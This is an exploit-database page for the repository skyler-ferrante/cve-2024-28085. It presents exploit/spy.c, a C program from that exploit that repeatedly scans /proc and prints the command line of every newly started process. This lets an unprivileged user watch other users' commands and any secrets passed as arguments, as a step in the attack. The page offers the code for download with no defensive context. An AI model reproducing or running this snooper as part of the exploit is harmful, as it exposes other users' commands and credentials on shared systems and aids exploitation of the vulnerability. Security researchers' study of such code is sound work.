Exploit databaseDownload repository ZIP
GH-c3ad498004659ead00a7f99e83fc92b6
skyler-ferrante/cve-2024-28085
Sources for CVE-2024-28085
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
skyler-ferrante/cve-2024-28085Revision 115de0a00c61
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/spy.c
C · 1,795 bytes#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>
#define USLEEP_TIME 1500
int main(){
pid_t current_max_pid = 0, next_max_pid;
char current_file_name[BUFSIZ];
char buf[BUFSIZ];
DIR* proc_dir;
struct dirent *dir_e;
int curr_e_fp;
while(1){
proc_dir = opendir("/proc");
if(!proc_dir)
abort();
usleep(USLEEP_TIME);
while((dir_e = readdir(proc_dir)) != NULL){
char* d_name = dir_e->d_name;
// If not a digit (not a process folder)
if(!isdigit(*d_name))
continue;
int num = atoi(d_name);
if(num > current_max_pid){
next_max_pid = num;
}else{
continue;
}
snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
curr_e_fp = open(current_file_name, O_RDONLY);
int ra = read(curr_e_fp, buf, BUFSIZ-1);
close(curr_e_fp);
for(int i = 0; i<ra-1; i++)
if(buf[i] == '\0') buf[i] = ' ';
// guaranteed to be in-bounds
buf[ra-1] = '\n';
write(1, buf, ra);
}
current_max_pid = next_max_pid;
closedir(proc_dir);
}
}